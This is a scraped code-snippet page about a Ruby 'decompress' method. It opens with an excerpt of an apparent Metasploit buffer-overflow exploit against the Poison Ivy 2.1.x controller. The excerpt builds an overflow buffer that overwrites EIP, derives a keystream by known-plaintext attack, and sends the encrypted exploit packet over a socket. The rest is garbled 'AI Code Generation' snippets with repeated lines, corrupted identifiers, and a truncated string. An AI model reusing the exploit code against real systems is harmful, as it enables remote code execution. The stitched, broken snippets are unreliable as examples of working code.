How to use decompress method of Header Package

Best Vcr_ruby code snippet using Header.decompress

poisonivy_21x_bof.rb

Source:poisonivy_21x_bof.rb

...105    exploitBuffer =  Rex::Text.rand_text_alpha(4)              # infoLen (placeholder)106    exploitBuffer << compressedBuffer                          # compressedBuffer107    exploitBuffer << "\xFF" * 0x104                            # readfds108    exploitBuffer << Rex::Text.rand_text_alpha(4)              # compressionType109    exploitBuffer << Rex::Text.rand_text_alpha(4)              # decompressSize (placeholder)110    exploitBuffer << Rex::Text.rand_text_alpha(4)              # pDestinationSize111    exploitBuffer << Rex::Text.rand_text_alpha(4)              # infoSize (placeholder)112    exploitBuffer << Rex::Text.rand_text_alpha(4)              # headerAllocSize113    exploitBuffer << [target['StoreAddress']].pack("V")        # decompressBuffer114    exploitBuffer << Rex::Text.rand_text_alpha(4)              # decompressBuffer+4115    exploitBuffer << Rex::Text.rand_text_alpha(4)              # lParam116    exploitBuffer << Rex::Text.rand_text_alpha(4)              # timeout117    exploitBuffer << Rex::Text.rand_text_alpha(4)              # hWnd118    exploitBuffer << Rex::Text.rand_text_alpha(4)              # s119    exploitBuffer << Rex::Text.rand_text_alpha(4)              # old EBP120    exploitBuffer << [target['Ret']].pack("V")    # EIP121    exploitBuffer << [target['StoreAddress']].pack("V")  # arg_0122    exploitBuffer << detourShellcode # detour to storage area123    # Calculate values124    allocSize = exploitBuffer.length + 1024125    infoLen = payload.encoded.length126    infoSize = (infoLen + 4)127    # Handshake128    connect129    print_status("Performing handshake...")130    # Poke131    sock.put("\x01")132    # Fetch response133    response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)134    eHeader = response[target['Packet2Offset'], 6]135    eInfo = response[target['Packet2Offset'] + 10..-1]136    if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))137      # Keystream derivation using Known Plaintext Attack138      keyStream1 = get_keystream(eHeader, knownPlaintext1)139      keyStream2 = get_keystream(eInfo, knownPlaintext2)140      # Set correct infoLen141      exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]142      # Set correct decompressSize143      exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]144      # Build packet145      malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)146      # Encrypt infoSize bytes147      encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]148      # Make sure infoSize gets overwritten properly since it is processed before decryption149      encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]150      # Finalize packet151      exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer152      print_status("Sending exploit...")153      # Send exploit154      sock.put(exploitPacket)155    else156      print_status("Not enough keystream available...")...

decompress

Using AI Code Generation

1    Zlib::Inflate.inflate(@data)2    Zlib::Inflate.inflate(@data)3    Zlib::Inflate.inflate(@data)4    Zlib::Inflate.inflate(@data)5    Zlib::Inflate.inflate(@data)6    Zlib::Inflate.inflate(@data)7    Zlib::Inflate.inflate(@data)8    Zlib::Inflate.inflate(@data)9    Zlib::Inflate.inflate(@data)

decompress

Using AI Code Generation

1    Zlib::Inflate.inflate(@data)2    Zlib::Inflate.inflate(@data)3    Zlib::Inflate.inflate(@data)4    Zlib::Inflate.inflate(@data)5    Zlib::Inflate.inflate(@data)6    Zlib::Inflate.inflate(@data)7    Zlib::Inflate.inflate(@data)8    Zlib::Inflate.inflate(@data)9    Zlib::Inflate.inflate(@data)

decompress

Using AI Code Generation

1puts Header.new.decompress(ARGV[0])2puts Header.new.decompress(ARGV[0])3puts Header.new.decompress(ARGV[0])4puts Header.new.decompress(ARGV[0])5puts Header.new.decompress(ARGV[0])6puts Header.new.decompress(ARGV[0])7puts Header.new.decompress(ARGV[0])8puts Header.new.decompress(ARGV[0])9puts Header.new.decompress(ARGV[0])10puts Header.new.decompress(ARGV[0])11puts Header.new.decompress(ARGV[0])12puts Header.new.decompress(ARGV[0])13puts Header.new.decompress(ARGV[0])14puts Header.new.decompress(ARGV[0])15puts Header.new.decompress(ARGV[0])

decompress

Using AI Code Generation

1input = File.open(input_file, 'r')2output = File.open(output_file, 'w')3output.write(header.decompress(input_contents))4input = File.open(input_file, 'r')5output= File.pen(output_ile,'w')6output.wrie(eader.compress(input_contents))7  def ompress(input_string)8    input_array = input_tring.split('')9  def decompress(header_string)10    header_array = header_string.tr('[]', '').spliter = Header.new

decompress

Using AI Code Generation

1str = Header.decompress("1.gz")2str = Header.decompress("2.gz")3str = Header.decompress("3.gz")4str = Header.decompress("4.gz")5str = Header.decompress("5.gz")6str = Header.decompress("6.gz")7str = Header.decompress("7.gz")8str = Header.decompress("8.gz")9str = Header.decompress("9.gz")10str = Header.decompress("10.gz")11str = Header.decompress("11.gz")12str = Header.decompress("12.gz")13str = Header.decompress("

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